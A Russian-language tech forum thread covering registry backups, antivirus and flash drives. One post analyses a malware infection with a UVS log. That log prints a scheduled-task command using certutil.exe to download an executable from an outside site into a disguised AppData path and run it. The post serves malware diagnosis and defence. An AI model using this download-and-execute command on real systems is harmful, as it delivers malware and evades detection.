DMITRY NOCHKIN


act.8

[QUOTE]tangarin tangarin написал:
мне спеть?[/QUOTE]

Учитывая, как был написан вопрос все подозрения снимаются.

NOD64


Антивирус не может проверить зашифрованный трафик.
Думаю если на пробу взять VPN без шифрования защита от фишинга будет работать.

tangarin tangarin

A вы Moжeтe Дoкaзaть, чтo Bы нe pобoт ?

[QUOTE]Подозрительный Человек написал:
Еще вот интересно, а если я заюзаю реестр, который чистый (сразу после установки винды экспортировал), то тогда и настройки все будут как были в том реестре? И ни паролей каких=либо, ключей и прочего? И заработает ли этот реестр вообще или программы, ныне установленные[/QUOTE]

Нужно читать о реестре и смотреть какие там данные хранятся. :)
Да, настройки будут как в реестре. ( Но не все программы хранят информацию в реестре )

Реестр если был правильно сохранён т.е. к нему был полноценный доступ и при копировании не было ошибок - будет работать.
Система может не запуститься, если было кардинально изменено железо ( другая материнская плата и т.д ), или слетит активация.

Хотя...
Посмотрел флешка от Samsung на 64 Г от 1 350р

[QUOTE]Подозрительный Человек написал:
И я так понимаю, если это вырубить, то и в бекапе сохранится, как вырубленое.[/QUOTE]

Если речь о настройках\параметрах системы - то сохраниться.

[QUOTE]Подозрительный Человек написал:
Хотя по сути... взять остатки бабла... сходить в ДНС да купить флешку блин, гигов на 64.[/QUOTE]

С флешками нужно осторожно - есть медленные\медленные и с такой система будет восстанавливаться до пятого пришествия.
т.е. читать отзывы перед покупкой, искать в сети обзоры и тесты скорости, смотреть реальную ёмкость носителя, надёжность устройства, учитывать, что в ряде случаев нужно выравнивать таблицу разделов ( иначе и на хорошей\скоростной флешке скорость будет низкая  )  народ рекомендует от Samsung
Но... учитывая стоимость проще купить SSD от Samsung или intel на +- 120 Г.

Хорошо :)

Вредоносный сайт\ресурс который антивирус ESET определяет, как: " Обнаружена атака путем подделки записей кэша ARP "
Как это выглядит в UVS.

[CODE]HTTPS://BESTBLUES.TECH/APP/APP.EXE
C:\USERS\RAMZES\APPDATA\LOCAL\TEMP\CSRSS\SCHEDULED.EXE[/CODE]

Программа показывает два объекта.
Первый это ссылка на исполняемый файл. ( что само по себе подозрительно :)
Второй путь до  директории: APPDATA с нелепой маскировкой под системный C:\Windows\System32\csrss.exe
и не менее "интеллектуальной"  маскировкой SCHEDULED.EXE   SCHEDULED[S].EXE [/S] планировщик...
------------
В развёрнутом виде это:

[CODE]Полное имя HTTPS://BESTBLUES.TECH/APP/APP.EXE
Имя файла                   HTTPS://BESTBLUES.TECH/APP/APP.EXE
Тек. статус                   ПОДОЗРИТЕЛЬНЫЙ
             
Сохраненная информация      на момент создания образа
Статус                      
                           
Доп. информация             на момент обновления списка
Файл                        C:\WINDOWS\SYSTEM32\CMD.EXE
                           
Ссылки на объект            
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{37EB31A5-D47D-4A6E-B47B-4FEB2E2AF0F5}\Actions
Actions                     "cmd.exe" /C certutil.exe -urlcache -split -f https://bestblues.tech/app/app.exe C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe /31340
                           
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{37EB31A5-D47D-4A6E-B47B-4FEB2E2AF0F5}\[/CODE]

+

[CODE]Полное имя C:\USERS\RAMZES\APPDATA\LOCAL\TEMP\CSRSS\SCHEDULED.EXE
Имя файла                   SCHEDULED.EXE
Тек. статус                  ПОДОЗРИТЕЛЬНЫЙ
                                                     
Сохраненная информация      на момент создания образа
Статус                      ПОДОЗРИТЕЛЬНЫЙ
Инф. о файле                Не удается найти указанный файл.
Цифр. подпись               проверка не производилась
                           
Статус                      ПОДОЗРИТЕЛЬНЫЙ ОБЪЕКТ
Путь до файла               Типичен для вирусов и троянов
                           
Доп. информация             на момент обновления списка
Файл                        C:\WINDOWS\SYSTEM32\CMD.EXE
                           
Ссылки на объект            
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{37EB31A5-D47D-4A6E-B47B-4FEB2E2AF0F5}\Actions
Actions                     "cmd.exe" /C certutil.exe -urlcache -split -f https://bestblues.tech/app/app.exe C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe /31340
Actions                     "cmd.exe" /C certutil.exe -urlcache -split -f https://bestblues.tech/app/app.exe C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\RAMZES\AppData\Local\Temp\csrss\scheduled.exe /31340
                           
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{37EB31A5-D47D-4A6E-B47B-4FEB2E2AF0F5}\[/CODE]

Подозрительные моменты: Temp; AppData; TaskCache; Csrss и т.д.
Из интересного задействован системный: C:\WINDOWS\SYSTEM32\CERTUTIL.EXE
*Certutil.exe — это программа командной строки, которая устанавливается как часть служб сертификации.
Проверка ссылки на V.T.: https://www.virustotal.com/gui/url/1940aabfdff63a8fe9d94861b32d35c59daf14b164622ddc­86511a0e4e00248a/detection

В задачах была ссылка на сайт который запускал исполняемый файл.
https://www.virustotal.com/gui/url/1940aabfdff63a8fe9d94861b32d35c59daf14b164622ddc­86511a0e4e00248a/detection



+